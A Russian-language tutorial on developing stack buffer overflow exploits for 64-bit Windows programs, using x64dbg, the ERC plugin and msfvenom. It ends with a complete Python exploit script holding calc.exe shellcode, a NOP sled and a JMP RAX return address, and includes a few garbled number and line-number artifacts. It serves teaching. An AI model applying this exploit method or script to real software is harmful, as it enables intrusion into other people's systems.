Современные механизмы защиты от уязвимостей переполнения буфера существенно усложняют реализацию таких атак, однако buffer overflow по‑прежнему остается одним из самых распространенных видов уязвимостей. В этой статье мы поговорим об особенностях написания эксплоитов под 64-битную архитектуру.

В сети присутствует множество публикаций, посвященных эксплоитам в 32-битной архитектуре, но на практике такие приложения можно встретить все реже, поэтому мы будем говорить об х64.

Прежде чем переходить к рассмотрению эксплоита, немного поговорим об отличиях 32 и 64-битных архитектур. Начнем с регистров.

Регистры

В 64-битной архитектуре у нас добавляются новые регистры большего размера. Но ничего сложного нет: для того, чтобы получить доступ к 64-битной версии каждого регистра, замените префикс E из 32-битной нотации на R. Как видно на рисунке ниже, есть восемь новых регистров (R8-R15). Существует также множество других регистров, например, 16 векторных регистров (xmm0-xmm15), но в этой статье мы о них говорить не будем.

Таким образом, как и ранее при переходе с 16 бит на 32, мы можем получить доступ к младшей части регистра. Младшие 32 бита от регистра RAX — это EAX, младшие 16 бит — это AX, который, в свою очередь, можно разделить на старшую часть AH и младшую AL.

Соглашение о вызове

В качестве соглашения о вызове для x86–32 обычно используется cdecl или stdcall (cdecl для большинства случаев и stdcall для Windows API). Однако почти во всех случаях в x86–64 используется соглашение о вызове fastcall.

Fastcall помещает первые четыре аргумента, передаваемые функции, в регистры RCX, RDX, R8 и R9, а дальнейшие параметры помещаются в стек. Регистры RAX, RCX, RDX, R8, R9, R10 и R11 считаются непостоянными: их значения не сохраняются при вызове функции, в отличие от значений, размещенных в RBX, RBP, RDI, RSI, RSP, R12, R13, R14 и R15, которые сохраняются.

Важно, что когда функция fastcall возвращает значение, оно будет храниться в RAX (само значение, если оно меньше восьми байт, или указатель на него, если больше восьми байт). Таким образом, если мы можем перезаписать указатель возврата функции указателем на инструкцию JMP RAX, мы можем перейти к месту в памяти, где находится значение, возвращенное этой функцией.

Теперь давайте рассмотрим вопросы, связанные непосредственно с переполнением буфера.

Перезапись RIP

Напомним, что в приложениях 32-битной архитектуры, если буфер переполняется соответствующим образом, в регистр EIP будет загружен перезаписанный адрес указателя возврата в стеке. То есть, скормив уязвимому приложению большой блок букв А, вы увидите в значении регистру EIP 0×41 414 141.

Однако это не относится к 64-битным приложениям, которые будут загружать в регистр RIP только канонические адреса. Например, вы не можете переполнить буфер значением A и ожидать, что в RIP будет загружен 0×41, поскольку 0×414 141 414 141 414 141 не является каноническим адресом. Однако мы можем перезаписать указатель возврата каноническим адресом какого‑либо набора инструкций, который мы хотим выполнить, и этот адрес будет загружен в RIP и запущен как обычно.

В 64-битной архитектуре не все возможные адреса используются для обычных пользовательских приложений. Обычно для пользовательских процессов доступны адреса от 0×0 000 000 000 000 000 до 0×00 007FFFFFFFFFF, а процессы ядра используют диапазон 0xFFFF0000`00 000 000 — 0xFFFFFFFFFFFFFF. Любые адреса за пределами этих диапазонов являются неканоническими, и мы не сможем записать такие значения в RIP.

Находим уязвимость в коде

Давайте посмотрим на практике, как может выявиться наличие потенциальной уязвимости в приложении. Для этого нам нужно будет передать программе нагрузку, которая вызовет аварийное завершение работы. Поскольку эта программа считывает файл на вход, мы запишем 1 000 символов A в файл с помощью скрипта python, приведенного ниже, и передадим его программе.

f = open(«crash-1.txt», «wb») 
   buf = b «A» * 1000 
   f.write(buf) 
f.close()

Запустим уязвимую программу под отладчиком x64dbg и передадим ей сгенерированный файл.

Как видно, мы перезаписали указатель возврата (0×41). Однако в представлении регистров видно, что RIP не был перезаписан символами A. Это происходит потому, что RIP не будет загружать неканонический адрес (как обсуждалось ранее).

Таким образом, мы подтвердили, что уязвимость существует и, похоже, может быть проэксплуатирована, так что теперь мы можем продолжить разработку полноценного эксплойта.

Разработка эксплойта

Поскольку теперь мы знаем, что можем перезаписать сохраненный указатель возврата, мы можем приступить к созданию рабочего эксплойта. Здесь в качестве полезного инструмента мы будем использовать плагин ERC для X64dbg. Итак, давайте убедимся, что все наши файлы генерируются в нужном месте, выполнив следующие действия:

ERC ‑config SetWorkingDirectory C:\Users\YourUserName\DirectoryYouWillBeWorkingFrom

ERC ‑config SetAuthor AuthorsName

Теперь, когда мы назначили наш рабочий каталог и установили автора проекта, следующей задачей будет определить, как далеко в нашей строке из символов A был перезаписан указатель возврата. Чтобы определить это, мы сгенерируем неповторяющийся шаблон из 1000 символов и включим его в наш следующий буфер, передаваемый приложению.

Для этого выполним команду:

ERC ‑pattern c 1000

Сгенерированный шаблон мы снова передадим уязвимому приложению. Наша задача — понять, на каком объеме передаваемых данных происходит переполнение.

Значение «3 978 413 878 413 778», представленное на изображении выше, в переводе на ascii равно «9xA8xA7x». Мы можем использовать это значение вместе с командой смещения шаблона, чтобы определить, как далеко в нашей входной строке был перезаписан возвращаемый указатель.

Команда:

ERC ‑pattern o 9xA8xA7x

Итак, мы определили, как далеко в нашем вредоносном блоке данных был перезаписан указатель возврата. Пришло время определить, указывает ли RAX на полезный участок памяти: то есть на участок, который мы можем в дальнейшем использовать для запуска эксплоита. Щелкните правой кнопкой мыши на регистре RAX в x64dbg и выберите «Follow in Dump» — и теперь мы можем увидеть начало нашего неповторяющегося шаблона.

Как видно, RAX указывает на область памяти, содержащую наш паттерн. Теперь, когда мы знаем, что можем управлять RIP, и у нас есть регистр, указывающий на область памяти, которую мы контролируем, всё, что нам нужно, — это указатель на инструкцию JMP RAX, и выполнение будет перенаправлено на начало нашего вредоносного буфера. Для начала давайте определим, какие шестнадцатеричные коды соответствуют JMP RAX

Выполним ERC ‑assemble JMP RAX.

Полученные значения FF E0. Затем поищем эти коды в памяти:

ERC ‑searchmemory FF E0

Из предложенного списка мы выберем 0×00 000 000 007D6AF0. Поскольку это канонический адрес, мы можем поместить его в точку, необходимую для перезаписи нашего указателя возврата, и посмотреть, загрузится ли он в RIP.

Собственно, дальнейший процесс отладки нашего эксплоита аналогичен созданию эксплоита в 32-битной архитектуре. Нам также необходимо сгенерировать полезную нагрузку, например, с помощью Msfvenom. И нам также необходимо будем добавить NOP Sled в передаваемый буфер данных.

В качестве полезной нагрузки у нас будет выступать запуск калькулятора. Для генерации выполним следующую команду:

 msfvenom ‑p windows/x64/exec CMD=calc.exe ‑f python ‑smallest ‑b “\x1A”

Здесь мы указали архитектуру 64 бит, формат вывода Python и плохой байт 0×1А. В 64-битной архитектуре проблема плохих байтов также актуальна, как и в 32-битной. Однако, в данном примере для нас опасен только 0×1А, 0×00 — не опасен, так как передается файл.

Что в итоге

Соберем вместе результаты наших исследований. Представленный ниже скрипт на Python создает файл, содержащий полезную нагрузку, NOP Sled и адрес, на который должен быть выполнен переход для выполнения полезной нагрузки.

f = open("crash-5.txt", "wb")   
buf =  b""   
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"   
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"   
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"   
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"   
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"   
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"   
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"   
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"   
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"   
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"   
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"   
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"   
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"   
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"   
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"   
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"   
buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"   
buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"   
buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"   
buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"   
buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"   
buf += b"\x78\x65\x00"   26. buf += b"\x90" * (712 - len(buf))   
buf += b"\xF0\x6A\x7D\x00\x00\x00\x00\x00" #00000000007D6AF0   
buf += b"\x41" * 300   

f.write(buf)   

f.close()

После некоторых манипуляций по отладке нашего эксплоита получаем запуск калькулятора.

Заключение

Разработка эксплоитов для 64-битной имеет некоторые отличия от 32-битной архитектуры, но в целом здесь используются аналогичные принципы; и написание эксплоитов для потенциально уязвимых приложений не должно составить большого труда.

Пользуясь случаем, напомню об уроках, которые проведут мои коллеги из Отус в рамках курса по реверс-инжинирингу:

  • 5 февраля: «Техника внедрения шеллкода в user mode приложение из режима ядра». Подробнее

  • 18 февраля: «Скрываем процесс с помощью DKOM». Подробнее

Комментарии (0)